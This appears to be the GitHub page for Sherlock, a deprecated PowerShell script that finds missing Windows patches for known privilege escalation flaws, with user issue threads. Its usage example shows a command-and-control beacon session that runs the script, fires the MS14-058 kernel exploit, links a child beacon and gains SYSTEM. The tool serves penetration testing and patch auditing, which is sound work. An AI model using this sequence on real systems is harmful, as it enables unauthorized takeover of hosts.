rasta-mouse/sherlock

PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.

Deprecated. Have a look at Watson instead.

Sherlock

PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.

Currently looks for:

• MS10-015 : User Mode to Ring (KiTrap0D)
• MS10-092 : Task Scheduler
• MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
• MS13-081 : TrackPopupMenuEx Win32k NULL Page
• MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
• MS15-051 : ClientCopyImage Win32k
• MS15-078 : Font Driver Buffer Overflow
• MS16-016 : 'mrxdav.sys' WebDAV
• MS16-032 : Secondary Logon Handle
• MS16-034 : Windows Kernel-Mode Drivers EoP
• MS16-135 : Win32k Elevation of Privilege
• CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc

Basic Usage:

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are Win7-x64\Rasta

beacon> powershell-import C:\Users\Rasta\Desktop\Sherlock.ps1
[*] Tasked beacon to import: C:\Users\Rasta\Desktop\Sherlock.ps1
[+] host called home, sent: 2960 bytes

beacon> powershell Find-MS14058
[*] Tasked beacon to run: Find-MS14058
[+] host called home, sent: 20 bytes
[+] received output:

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable

beacon> elevate ms14-058 smb
[*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe (127.0.0.1:1337)
[+] host called home, sent: 105015 bytes
[+] received output:
[*] Getting Windows version...
[*] Solving symbols...
[*] Requesting Kernel loaded modules...
[*] pZwQuerySystemInformation required length 51216
[*] Parsing SYSTEM_INFO...
[*] 173 Kernel modules found
[*] Checking module \SystemRoot\system32\ntoskrnl.exe
[*] Good! nt found as ntoskrnl.exe at 0x0264f000
[*] ntoskrnl.exe loaded in userspace at: 40000000
[*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC
[*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0
[*] Registering class...
[*] Creating window...
[*] Allocating null page...
[*] Getting PtiCurrent...
[*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0
[*] Creating a fake structure at NULL...
[*] Triggering vulnerability...
[!] Executing payload...

[+] host called home, sent: 204885 bytes
[+] established link to child beacon: 192.168.56.105

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

sherlock's Issues

Detecting MS16-016 vulnerability 32-bit Win 7 SP1

I am running Sherlock.ps1 on a CTF-style vulnerable machine and it flags MS16-016 as "Appears Vulnerable". However, according to sysinfo, the machine has installed the KB3124280 hotfix that fixes MS16-016.

powershell_execute: Operation failed: 2148734468

powershell_execute: Operation failed: 2148734468

MS16-032 Checks Need Work

So, couple of things that need to be added to MS16-032

1. Check CPU core number, as it requires 2+ to function
2. It's only vulnerable between the following versions:

• Win Vista and 2008: Less than 6.0.6002.19598
• Win Vista and 2008: Between 6.0.6002.23000 and 6.0.6002.23909
• Win 7 and 2008R2: Less than 6.1.7601.19148
• Win 7 and 2008R2: Between 6.1.7601.23000 and 6.1.7601.23347
• 8.1 & 2012R2: Less than 6.3.9600.18230
• Win 2012: Less than 6.2.9200.17649
• Win 2012: Between 6.2.9200.21000 and 6.2.9200.21767
• Win 10: Less than 10.0.10240.16724
• Win 10 Version 1511: Between 10.0.10586.0 and 10.0.10586.161

Add PowerShell v1/v2 compatibility

Hello @rasta-mouse. I've been trying to adapt Sherlock to work with PowerShell v2 and managed to make it work even with v1 without any problem.
I have an ugly but full functional code here, but I will comment on some suggestions to be adapted accordingly by you in a more beautiful way.

Get-FileVersionInfo():

Instead using Win32_Product class (unstable on v2 and nonexistent on v1), we can use CIM_DataFile.

# Double slash for CIM_DataFile
$FilePath = $FilePath.Replace("\", "\\")
    
# PsH v1/v2 support via CIM_DataFile
$VersionInfo = (Get-WmiObject -Class CIM_DataFile -Filter "Name='$FilePath'" | Select-Object Version).Version

Also, on WinXP/Win2k3 with v2/v1, for some reason the architecture check fail in some functions and $Path will return null, triggering an error in Get-FileVersionInfo()

I "fixed" it by simply adding an extra Elseif conditional:

 } ElseIf ( $Architecture[1] -eq "x86" ) {

        $Path = $env:windir + "\system32\win32k.sys"

    }

MS15-051 check failing

just pinging here based on a video, where the exploit worked but check reported false-negative. More details in this video https://youtu.be/lP-E5vmZNC0?t=33m11s